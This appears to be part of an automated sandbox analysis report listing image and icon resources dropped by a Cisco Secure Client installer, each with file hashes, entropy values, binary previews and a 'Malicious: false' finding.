SSDEEP:	48:22S/53y4Zw3U0f7kxCsJUAxuLYSze4OnbQipPVeOh2JaM9:2lA6aU0fITJUA5Sze4AbQuPVmJaM9
MD5:	88A7B064DF22129CF129C4C589E1A92E
SHA1:	FE205F326656F8468B6FF7B9702B26E0BA450D35
SHA-256:	2E7D51E65DE4287C47C4BA96A394FD678F56F6A4BAAD7E35407BDD7D52DE500D
SHA-512:	87015E250E1659A0C5A90C85F85D01DC3B19AE079BA2574A2F6276AFF97E89A6B90BA5AB855EBC7B29AAB26C4ADB64B44EE64E210DCD0A02CCE70529D0FC3910
Malicious:	false
Preview:	.PNG........IHDR...e...e.....T\|-.....pHYs...#...#.x.?v....IDATx..]=r[7.....eJ.Kg.M#..~>...H.. ..8.O .L.....T.......p.&.....P.7.G....a..X,...........m..}7:...9...o.u.7.9.,....3...>.x...^R...........y...F.."eC....dzk...5.T.).hHD.US)L.`..x^..eIA2~...`..W.g%.T..ndT.u.d..r.[r.6.6PM.=...\|....<..9..j.$'...GJ7.J...s..........<..3...Ip.C..'.....9.....G.H..C.'..n.._&i.!-)....v......'M..p..=M........=..4R...7.$b.;.iH..9.Q.....]P.%.OBL\|R.............j.T....Lc.:.):B....f5P.]+..c.>.....!.Tz8.P.N.#..@nw0.H....$.:{...K.. .%......xG...3...OA..,.9..u.b.....<....v.H./.....k~.o...8.%.'.....w.'.'.%....!t.{........).oL...y?_~...K....>j.....]3.%...$.Cr@....l+.`...Y..._0v.4.s...@3._...]{n..)...wRpO....%.w..h2.....v...p/.}..#j.@.d.t.F.HA)..`).r<.....'...cq..WI..>...qy.......h........MJ..B(W. @....\1.SK...pz.kL......2{"hF...H..'.m"........K..2...).3a.....5.NR.an.\}.t6..is0T.&....2...6..H..U_6..E....$g...S..Nm..d+qp/dI......r.b....>....q/.8Qm..I.......%.P......I...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\about_hover_24.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	421
Entropy (8bit):	7.268682924293009
Encrypted:	false
SSDEEP:	6:6v/lhPZqI9EI0An9BZXg/f/8q+psYee5BtD9n1XOoLZNxdj8hVHPHQHEPisVp:6v/7kNDC9EoRtBthgwTSrPXPis7
MD5:	E36649875C18E56654D70D70405A64C4
SHA1:	F5AFE1F32062F5F8F3C036BC4C41FD4056ADE29F
SHA-256:	794A18D1D80F273108935EF4A9F1B1449EFD80E79DFC1546A410998CB2121933
SHA-512:	2EAF13B01B63712C50D5FAF9B5785468BC8444EDE766F9F89FDECAEAC5CE003A7962B7451607AA23064E5EB4E2DBDB3568713681BA778AFE1CBCCC8DA07426B4
Malicious:	false
Preview:	.PNG........IHDR..............w=.....pHYs...........~....WIDATH..U.m.0..".`...n@&..N.J..e.Ke.t.....x.2.#T.v...Z=)R..w.>.3r..~.....k.k.).q....^.....`.k..'.tG.......X.:Kf..=..7-........Md..`.....L.H.{..K.%D.~.i.$.F..z....]Q....Y@.f..D...C\|j.!\gi...q..R.1...2..K.....=..,..%...p+.(iW....#......r....N...=........C.8[..\<.a....2[n....B, #...u.09......a...;........._U.)K2...pb.LW...~^.......hSX.....IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\amp_logo.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 301 x 301, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	12558
Entropy (8bit):	7.968059020803266
Encrypted:	false
SSDEEP:	384:uop8Zgd6lZbxmfVR68Sj8p3f/NMolH6FeIB9OxW:uo6Z4Ic6potlg
MD5:	D30964E871F60B296F5109215FC341DC
SHA1:	365DDAFC27D304BBB3B8A99D0A62504E5D2D0B03
SHA-256:	16FDE630F3C55080422FE6965CE08D3CA85168655C73E05E3F9B7C00DC14507A
SHA-512:	22E918B1187909FCF80ED6ED091ADFA6081E95A2482F6676DA84D8CD580CD4557D9FBDCDD948ACEA03A8001BABA4653F4C735672F668DB9D226F9362A079358E
Malicious:	false
Preview:	.PNG........IHDR...-...-.....].6.....pHYs...#...#.x.?v.. .IDATx....U...hr!#.D'..i.L.$.l..V...q+.....H..l,.h...T.v.Ui..@..,.....Y..1.i........BX%:..4.n.O../..y....s.s....{.}.....>.}.a\|R(.!.!e....\|.:..Y.Jm..g...E.....S#>...R....0..[Dt.....R...i1,Z9BDJ5B...b49e....b..Z.`..(B.lq..Bq...!b.#Zc!..,Z..P..,....R:S.#.MDe{.Jm..\|.L9,Z).B...E....Y......xX..E+%..\|..M."eD$u...z.y...}..H.' ..Z.....X...P...Buk..P."d.9x ......uq..;t..q....Q.y...=..'rv......h.F.B5...h.%....K...>...@........7i.....8t8..e.3..-.(K....DF..+F..>.4nTZ.&G \.......[.G.......\|3`.J.a.#....* J..&..e\|....x...g}..L...VA...O.....Q.\.U..{.He-...Dkk.NK..w..N~.z.'./N.c.E+&D..B.....~...4nt.#)U.}ml.fEc.\|....Z.....,Z.S(...)`.Z.U}...5}....cGa[_....z...8u......bu_....~.6ni.Ak..D`..ul.G...F._.("..b.ToZ.D.7g:.U.....L..x=....-.....0...fN.J...j...=.. ^..B..,^.a.RD..+.................}.xi.E+$a=+...n....G...uG..rB.z.a........A+...`6.Re.D\..B..'D....0(,Z>.=.+E..o.....l..Z......T..6..B..hyPf.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\amp_logo_72.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2860
Entropy (8bit):	7.914852791051157
Encrypted:	false
SSDEEP:	48:1vgVWGnIUiSbzr6C6bm/8B3fMKfxYtg+hRKdQr5iQGAOUnonGVY5Q14pUcblw/Gu:1YIUxbavbmUZxYtVXABUno7Q5cblwDSI
MD5:	DA68BAC3A525CC1ACE0BC4836A49D3D5
SHA1:	5C7D343913F75C7595BBA487031056B54F2AC6CE
SHA-256:	DC088A5CD630537A875466B7278DDDE0E54203C733D0950F67B0D3896B671A09
SHA-512:	A5F4BCC1A2CADF82927CEBD0373694086BDF955D7B755118255AAE3FA7CF7EB05748C81B35A759A8202991B2B2D5F77709FC84C58D0554430BE3AE8B51519264
Malicious:	false
Preview:	.PNG........IHDR...H...H.....U.G....pHYs...........~.....IDATx..\.L......E.ki....`S.uB&HRP......E7.5.f.K.t.e....lV..ve.M'..@..."..t).U.R.(r@I....^.......;...._B.......w..{..y...Q.a.df......G3.T......&.....`.q..2Z2..h3...Q.....d..q..b..?.9}......6...I5DT.7u....B..i...._.........\.>..........U..r.=.]....rb. !'{-m...DO..N.\....,.'.TO.t!..X...(';]......KT.N.pE]..1AFK&\.(.%.....!iK...^;V%..6.u..CB...Jh.\....f1............&..2Z2!..`5.r7.+.wSlL....?.......N..@..8.M6..2h=.h..ID.bc...YRD?}....4...O.=.O..I+.....sd..d.=.o.D.&.89...WD.,=H..)z.'`...xZ.n...vD....l0Ynj!.g...C.9qd..7.....D..M:..y>Y......9.I..i.$..=....C.G..lu.....L..u.`..b.{=>Xp#).`....o.]^U.x.s56&:......w..rI0W'...C{uO7f.h.4i`p.!..jqR..k .L.:0\.=.n.7#K0C.U.K...X...b<}x.A .._....?..=..a.n....o..v=.N..9jQ.C.....kJ2.,....?v?f.A.../^h.,=.).Df.P..p....$..{Dz...C:v..t.......[G.a..>3.R...=..Z....X....}%.CV...J....p.6<......}v....T..3.5._].....c.V.~..A.z.....x./^..q....?.......9 ....5.?.Xy...s ..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\app_logo.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	51094
Entropy (8bit):	7.977081753425093
Encrypted:	false
SSDEEP:	1536:UoAL5K723jk6waeSXMFYcQotAtZJqyGlOk6bAfb1:Uv5YAjkCeS8u6tAnwwTbe1
MD5:	BBD0533637DA4102A6DC250FB20D6FA7
SHA1:	B78DC64053313A61F3C25550D17C2700923B1EF0
SHA-256:	C4D28DB251B9D72B2EF84EB9774F028FFDB65E432451E79E50D51A497D8196B9
SHA-512:	A3B17D20439BE297AD034827FD5B9EC40DB2D3B597D76431F29AE4C72C2647546DAB7696A05B3007C6796862CA67F7EDD41D8826C0D41BB55139A1D58CE23C46
Malicious:	false
Preview:	.PNG........IHDR..............x......pHYs..........+.... .IDATx..wx.U...wf.{O $$..z.".J.......YEEE..." .TAd..^BM..RH.}2...dw...U.....=.;...{.....s.=...D".8.Eq....._....#......u)..X..T.....@.......7....(...\|......7...r~.U.... ..7.(.B...X.B.@".PCo....@...`...8...8w.r..w.. ...b...IB..9.$...H$.d.E..._.{.>@.o.}5 .\|U^....~..<.....;..@..'.P.H.. .X......u...+..:..r.......p...M.."K.I"...Dbn#......@..o.~..sv...;..p.......T!D.T.D"......_U....<.........$.C....$ ........B..T.D".....3..T)_.?.t(_..be..\|g.H.Cp.H.....D:.....x....D.5...o...".............R5...H$.o.5@.P...~'.%................Z...t.$..0..@..........%...U..\......R-...H$.c..........G..I.H....o.l....L.B.K.H.. .X........'..>..Db(y.m..~......t.$..3.....[.=...s.K$.......N...(.j.H.@"1...@..7..6..o*]I..n.?.X...BdK.H.. .......k.<.~..EjFb..?"....be.#.t.$..n...'.q@C.\|.R3.+..}..U`.pR..J.. ..o..>)O...Db.....JxQ..H.. ....k.~..;...'..Hl...L.G....]&..H.@RY........r./....?....B.\...t.$.n.]...x.Y.B.V$.........B.I.H

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\attention.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	3.7071518309363354
Encrypted:	false
SSDEEP:	48:rtQAZDlpb/oRjRgvFBvOcVYVWZahUNZGIJMWz6izv2dBtj33xNCpK0v6wxrf0Dgk:rt/Md6vFBXKWIhUNky4X3IrvX1sDgro
MD5:	1C98B43E6778943A5358BE61A90BA74C
SHA1:	5267802FF8108EA1709CFEB6C156A7AA5D6140BC
SHA-256:	BCE250F3AEA36B7A76C5D4D73B03CE83A7988BBFB6F6AA69C92475C39DABC22E
SHA-512:	7C10E7FE2D1A476D0A923937597B95D505FBE6978ED4518A99F1FC391CB6281CE8A0F94F3772C83ABAEF916B6834BB5490833BF60BB3B9FA67D61CA0B7C16015
Malicious:	false
Preview:	...... .... .....&......... .h.......(... ...@..... ........................................................................P..........!...................................................................!.................................... .....................,3..................................................................#,.............................................kY.M'..M'.. %..5C..........................-9..-9..........................(2..0;u.......................0............cB+.M'..M'..M'..X5..z]J......y.......................1=..1=......................[q...'........................0.........xh.M'..M'..X5........................#......................................................DU................... ........nP:.M'..M'....w..........................,0..az...................'...'..................7F..9G.............................z]J.M'..X5..............................................................................\|....#.................................M'..X5

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\cisco_blue.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 5334 x 1067, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	83111
Entropy (8bit):	7.138058183615623
Encrypted:	false
SSDEEP:	1536:VC5Kuc25xWuSyREGUa7eZoQZBrMd+Wdl6P1NsDO1U:VC5Dx8yRTeBZW4k9DOu
MD5:	E9352AD002DC71C84B605700A6684C46
SHA1:	312487A0D0778CB57EBC0B5ABBA29CB6C31187FA
SHA-256:	55E9F9561425D5B5994506DB5932FF3C87ACAD729BB4CC043EE99EFB85484E0A
SHA-512:	CAC779DCB625BF8C8736686407BB81DB140434FB16DC98144E113F2822AB3A907A7E7CA63751D73604B11EF0F0DFCB6979833DE75B160542CF7C969F39533867
Malicious:	false
Preview:	.PNG........IHDR.......+........%....pHYs...#...#.x.?v.. .IDATx...kn...`..^..#?N...$..d)..c.5d/..ASy.q$Y....y...3.D........................................................................................E.....GW.....P..Z.nC........0\./_Ow?v:...`..x.j=..9.......@....5q....P5.&...hl.....&...hl.....&...hl.....&...hl...M..\v.......P.{.g.h}.;2.@...e#........Xr8.n.....s.er..<.4...fNi......H3.r:.....?u$`'.~.~...dsHN.<.s}.0.qy...x.A<..}7L.y....}^~...].w([U.M`.5..1... .pB.F.>IMc..\|..y.].......7...^46.a.....p.c..-...{.`.....,..#x...>I.:......a.........\|M.-..k..7:...;...C.........?>~>..)........o9(O.i.'.{.n..~.q....2Q.....W&.....R....Il.....;..~kH\|_.R......O....2..}jp....f.1!%..OY....n...F.lfL....W....'.CH,.....g/..y>>~.+j...$e........Mb..;.........Z...A.:.~...Y\|.o1P.A.$...)....~....S;.RR..@...W.&.}.q=.N...:[.C1.5.=...r.U&+._.z.O~o........m......}..t.vcR....u..{...&P..7.......c<....15.?u..5..U.c..........:..N.MhPw.=..K..y..>vc.....{;....F>..k......,.-..N...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\cisco_indigo.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 3226 x 2226, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	76349
Entropy (8bit):	6.476357962983417
Encrypted:	false
SSDEEP:	768:FVQKRdUmqPkx3KW18PXAvBXZc1cgOdRAXYg3w9pxiwzL6s7UJrwu4be/NG0Zpnel:FVT3K1PQx32w9pUwCKu4k5Tne54DD+
MD5:	FC85657D1B695A1BBF554859C7073AB6
SHA1:	DE271697015CD2BE237C3F112A2FA8391C7FE0A0
SHA-256:	734ACBF5F095BFC5092CCDE8C2721477C6B6F8C4BEC6E14F7F6E11012DC648F9
SHA-512:	AD8DA7E48ED1288FC24B7CE87B7F5557D1055C141B385E8BDC37B0BF56FF1BFFDF3516759DA613BD066EEB64C25C43D0D1609C3EC5AF7900081BA9083BF4361F
Malicious:	false
Preview:	.PNG........IHDR...............:z....pHYs...#...#.x.?v.. .IDATx.....H. Pi....`...`....<.`!d.`.........X.k.x@y.....KM.{.T.H.Dt..4\.2.....................................................................................................................X.V.<.n........a.9\ ...Af[.7K.C.q.C.K....T..P7.N.k...P.S..O...5..'....1...<8[.8$......@....A.(..!......@....A.(..!......@....A.(..!......@....A.(...j,.....}.q..}...ZU.....y.......c_..U...\].....k.2\.}.j..V7........K.....C.\|..{.p^/.m".'.....q...>..J..}wJ.v.....A.-O=oA%o.J.......SG.H@.h[.X7\|....P .O..%.P..B@. .... .....P..B@. .... .....P...~(g.k..KjoW...zt....v....('..........2..3.}k.... .-.7.:ts-h..u...X...,w..V..;..i.3.!.<.>..mg..{7>C@....Ye...A@...rS3.A@. .... .....P..B@. .... .....P..B@. .... .....P..B@.t....y......!G...9gg...B.../g..;.%.\|p...S..5....&.o'.......6.('8.BZm?...}..T.S:.Z.<..:v..=.5.....}ku.D.3.C_.......F.r9....*.zG=.....c....q.......j?....r.\.G...[^..!......@....A.(..!......@.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\cisco_secure_client.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 3563 x 1383, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	83426
Entropy (8bit):	7.358868361468608
Encrypted:	false
SSDEEP:	1536:dixvvTkILgVLxXyJl/WOwiu/PK7KT+vWJv1RASI/sH4PIfeN9Oo:avvTfg5Fyv/WOwiurQWJ9e0H4PoeTOo
MD5:	4AC53A86840972B2C8E661710290F3ED
SHA1:	D305EC46D2A933DA35D0634B1C23B2657A70CA88
SHA-256:	647EFCB4DF9273570A803D5818A37814601B06D41D77A51B61461B12958F028C
SHA-512:	86CCC7CA3A4EC721DB91B498E05C4DED79B3BF88E3AF5BCA4198380742B79C69AFF7BCDE7CE15FC09D1C976C37E56298EC3BECAD9254242ACCFAD9CBD6159BA4
Malicious:	false
Preview:	.PNG........IHDR.......g........@....pHYs...#...#.x.?v.. .IDATx...Mr....N+.....O....OeM..W..;Hy.^...Wt..M..$....r]_Gj.A.................................................p.....?.=....._......\..?....\|;......T.T..=S.....i.[.........@.T\|......SQ..p>.N...l.e..>/.2...\.f.."../.2.....i..@atu..\.............Tv..R.........W;....[.....^;..}.O..+....C.7.@:Y..#O....LE..>....x..B-....LE..?..z..Yk.s.g.\|.1/.>....}.5..<a...Y..Z..J).......}.....W\|.\|...!..f>&.j..f..z-...9..Q.R#c\|..m..ww.N....F.E\|.......?...?w.p.t....B+...}g...G.1....F...2.........v.M.........]...E..%.us........B...9G.K.._..5F@.<?....C.E8.-.\[.c.....=.i..PZ53p......<...o.;..O7..w..T....X...\..k....{.....Dv..Y.1..MI.......R......#....0..S.%T\|.3..5....\|..Q....46.....6ml<..^_.2....k.SJ.>O...A....U...g.\.F.#j.m.7u......-!.p.4..........!...[..Rh.?......F..5.C....S.W..B~7...0..\|.\|....J.Ze...P...H].u.6....p......P.:i.F.g..$GE......ch.3q......J`.wo.,..^......efy.a....s.i.P.l*...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\cisco_secure_endpoint.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 1024 x 365, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16443
Entropy (8bit):	7.760065707691873
Encrypted:	false
SSDEEP:	384:lqb0tEZvDwb6EjHGVbAxe76N2Tuzy8xvyu6:lY02FP8nsUxvyu6
MD5:	E786715A35FEB88334AA7FAA35F70248
SHA1:	2BB7D79511CA0099549DAA71263909D61789B54D
SHA-256:	0D5106D9C61EC53AC64D4663204A75F5257B41E24991F1D6CCD50471CF81C341
SHA-512:	4DF4F567FB4B1184610D1884D13F75C474757641F64CA05B6333391C12B7AFA0D7889F4DB374AB54F69E262EE4B12FB89A12E037A8F2926E01ED457D233DE3F9
Malicious:	false
Preview:	.PNG........IHDR.......m......O......tEXtSoftware.Adobe ImageReadyq.e<..?.IDATx...r.H.(l...70.l....L..60}....VrRI.I$_..+.&.:..`kBk......^........H..G.\|..l}.@......,.........................................................................................................................................................................................................................(.....?...i..........B..]......5._O.L/.2}R:.....}.....i.._...R.+..ez...../......?)...)...[....?..S.......x..g.x7.z...T....H...D.... .....H................ ................ .....H.....=...v./...I..4.......S..:..\|..1..._.+.s.......hF....y.....!.....:..<._...).....&.P...e..;l.c... ..W.8.... ......1@.l.h...'V...k..IL.L.r..h......q...g];/.T.K..rw=...%?>....kM... .0....IB.yr.....;............... .....H.......... ........n._.......-....,....3..,..Q..L.J.2.._..,..2}R2....@......?>...~.X/....4...k...L/.2.+...4...._...).....(.)......y..@.@.. ......... ..b..WB....@5..W.Ym...?..)...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\collapse.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 8 bits/pixel, 32x32, 24 bits/pixel
Category:	dropped
Size (bytes):	5494
Entropy (8bit):	1.0422788649872297
Encrypted:	false
SSDEEP:	12:xh4r3rEO9SEEEEEEEEE2888888888Bsff:xKfgH
MD5:	B4FE215E5858B187A041DEABB2E1CB04
SHA1:	E8F16887E8BFFF243EB1AEAAF21B382CD0DFD9EE
SHA-256:	9FC38B41A0D11FF64348F0E125692091D478E6E4F1C368A4E01863D49F87BB87
SHA-512:	371FEA20A067929B21543490CE56C370BE8477B40630D2EE0BA613FE91A485D083DCB0FE4B0E76465576935F0311CC65832B48B3487F5C2B83ABB4E8B9AB4270
Malicious:	false
Preview:	...... ..........&... ..............(... ...@...................................BBB.XXX.cbc.nmn.yxx...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\company_logo.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 3226 x 2235, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	75452
Entropy (8bit):	6.447447333863436
Encrypted:	false
SSDEEP:	1536:i6ORO3YabolewEiM0aJqCrvbURQDEb6b/4:ik3dolewM0agCrImD3w
MD5:	9C6F8BF269230734B04A82F610B9B912
SHA1:	2B81B2C45C94CA29330ED0223F21928BEAA66A3D
SHA-256:	3A5C49B91E68BE97E158E7A35C54996C45F1E9E8432927AF476D5F85BCF7B67E
SHA-512:	4F24CAD91616F50E1C28E0D44C66B0F6E6C89F38E9A07B81C43810862F3E76E77D897D6B06BB7CD2FEFDFC1E01011FA1CEBCDF2E6E53F347E98B9CEF7FCBF1C9
Malicious:	false
Preview:	.PNG........IHDR...............k.....pHYs...#...#.x.?v.. .IDATx.....H.(Z.1.<....C{@{..\..-...X.....<.....,5.!)..2S.x(.^k.LS.P....4..................................................................................................................%Y.]"".......c.K. ..X.rH'./.5.#...]..........O.S...2..s:...}P.%B. ....Y.P....@.....0.......,.(.da@. ....Y.P....@.....0.......,.(.da@. ..JG.W....w.$...^.o\|.[..\.G..=.........k....#..SJ...nm..h..O7%c.2....)....hh.;.Z...e^...c.a.q.,....{.oe...Q..a5g..^.6e^...#B.k..a/%..{aL....0.......,.(.da@. ....Y.P....@.....0.....e..o.{..+".L...wg..~i..PN0......-..z.Z.Yg)..1........m..7...r.Gw..7.$..N.0..sW......d@...4..i...P.@D\|;5?t0.+........P....@.....0.......,.(.da@. ....Y.P....@.....0..../...7.....kW...i..T...6..F..A#+..s.......(.`....V.-Z.kCI..>.PN.....eE;.?ou.N...}.k7..\........R.X...w.....}_...#.\|..s^....&..z....Z.....8.d)`..9kY.. ....Y.P....@.....0.......,.(..9.n.np....y{W..\.....N0p.j .4.'..&................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\company_logo_alt.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 3226 x 2235, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	76615
Entropy (8bit):	6.470162664157233
Encrypted:	false
SSDEEP:	1536:qGdM/siSNo+PH4MwDCfwvTaBFdzIWxtLudTc8OuTk3kMgH/0:q5sioYMwL7aBF1x0dTcqTFf0
MD5:	BCB76C77C4A705631EAECEAD63D6A8EF
SHA1:	915C69643CCCB39E4DED27AC866C3F6872D740A2
SHA-256:	C5A9EB1365BF8D546649281DE3C9E31FB27F9E39B54BC860961F026E95D653B2
SHA-512:	07349A6E550BDC44091329DF5303EB9BB845E54926346ACD9D5FA74FD9F596E73B3D04FD1098079564D4EEB9FBB03F7F9126C0D16433DE9456C5556741B06121
Malicious:	false
Preview:	.PNG........IHDR...............k.....pHYs...#...#.x.?v.. .IDATx.....8.(`.T.E...D0..n.............\..;..`G.'...2.....W/.?[.$.y..j...gY.......................................................................................................................W..Tus7..%......m.....Bx.Bx.w......P.QU7.B.gW...k]?;T....J.s....i`9g...m...R{,1e...S...+3V.P..@......"......@....Q.(.D!......@....Q.(.D!......@....Q.(.D!......@....Q.(.D!.............G.<...k~..~.B.p....}.d(........>..V.7......~.&..m[...(.{s[.......S..=.0.>..........0p.......aP.4...R.&...I.K.s......=...=.K.Vu.".b.l...Q.(.D!......@....Q.(.D!......@....QX..D......1\h....}}...;}\|>.e....;..\t.tE.........9"}\|9..&.m.S+...-m:.C3y.K..!..b....mi.....b.>~;..f...f.....S.P...g.......P..B@. ....(.....P..B@. ....(.....P..B@. ....(.....P ....%.P...e......u;.k...&.......=.....h..2(....=..%..A....yH..-..}<...IX.=......yO..U....>yImj[......'.;...B@...i..-.S.n..tnk..m.:..>v......5.g.SI'..f.K.U..e.{......6...+.3y..-:.x..f...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\cues_bg.jpg (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 1260x1024, components 3
Category:	dropped
Size (bytes):	399779
Entropy (8bit):	7.9639437199622165
Encrypted:	false
SSDEEP:	12288:NZGJOTaTKegfZjGiFfyHLyforThgWTZcWX1nQ8WMsETaVovwV:/JT6g5JyjrThgWTZvQ8lsvVnV
MD5:	DF0BDC3CDA98B3BE333FEB2A2770002C
SHA1:	D0FED726183EBEA0B535EE06A66805E7BF3C9386
SHA-256:	FD3413367D94F80DC520390C0971F9AA44003C9C6F32BCBC3303A6682D0B0175
SHA-512:	46F9DA519D7D8E1D192D9EB6082FBEAAE164EC58C97C22BB576B8DEEC387B57FFC8CF8BF75412C8FD2B30B9962B96070A679F2E26558099B5DB4411A59E0386D
Malicious:	false
Preview:	......JFIF.....H.H.....,Photoshop 3.0.8BIM.........H.......H........D.http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:xmpGImg="http://ns.adobe.com/xap/1.0/g/img/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:illustrator="http://ns.adobe.com/illustrator/1.0/". xmlns:pdf="http://ns.adobe.com/pdf/1.3/">. <dc:format>image/jpeg</dc:format>. <dc:title>. <rdf:Alt>. <rdf:li xml:lang="x-default">Ba

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\error.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	4.044905068349432
Encrypted:	false
SSDEEP:	48:m/CRZkMiOjTrP2GqirkNv05M36iJpx8wpeXlUA9S5Sxgo2vo:mqcaTrP1zr804FjiUA9s4g7o
MD5:	1AE447E7E6E48D922E20DACEBEABF6B7
SHA1:	405E8A92B647B62F189B88AF58F1473C53F09991
SHA-256:	40107A62ABD4DE28E722EC92905913E24873CD9E10C21CEE50698949AB76C358
SHA-512:	F703E7D8AE70589C75F722BE8D64C9D136A524ADDD3AE39D0ED94C32C632EBB2E0EECB61C08342564AE42445B4146E10CED0ED4EE783DDF3785CC6D7AA124440
Malicious:	false
Preview:	...... .... .....&......... .h.......(... ...@..... ............................................................................P........................ne....y...s...s...s...s...s...s...y.&..`...................................................P......................................y.(...0 ..0 ..0 ..0 ..0 ..0 ..(.....y.&..`.......................................@................z]J.X5..M'..M'..M'..>"E...y.(...0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..(.....y.&..`.........................................xh.M'..M'..M'..M'..M'..nP:.I/T...y.(...0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..(.....y.&..`...............................X5..M'..M'..nP:...................y.(...0 ..0 ..0 ..=...0 ..0 ..0 ..0 ..=...0 ..0 ..0 ..(.....y.............................M'..M'..nP:...........................s.0 ..0 ..0 ..=.......WJ..0 ..0 ..WJ......J<..0 ..0 ..0 ....s.........................M'..M'...xh...............................s.0 ..0 ..0 ..0 ..WJ......WJ..WJ......WJ..0 ..0 ..0 ..0 ....s............0.......M'..M'

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\expand.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 8 bits/pixel, 32x32, 24 bits/pixel
Category:	dropped
Size (bytes):	5494
Entropy (8bit):	1.0468421318534369
Encrypted:	false
SSDEEP:	6:rlL14RyS5lhJEO7dVVvydaS+Qu7lfTllv7l3Jl//lHNlP4lp4lX4lR4lf4l54lng:xh4r3rEOKJmfGJ5
MD5:	223CC34A3299A5777171F41DF8453CDD
SHA1:	559AA03C2FB5D602B4116C16A7D73EE81C99F37B
SHA-256:	7E62C5A39DCDD0DFB69F1CCC882579D71DFD4DD345828318F1170AC48ED7F934
SHA-512:	5DC60D3801387F534A126D0DE4336993954274BE9696A0D73CE3161C6B2D36B7DCFFC38AD714CCD0CFBDB397FECC9DF845AF4B65215249A7637321F38A5033D6
Malicious:	false
Preview:	...... ..........&... ..............(... ...@...................................BBB.XXX.cbc.nmn.yxx...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

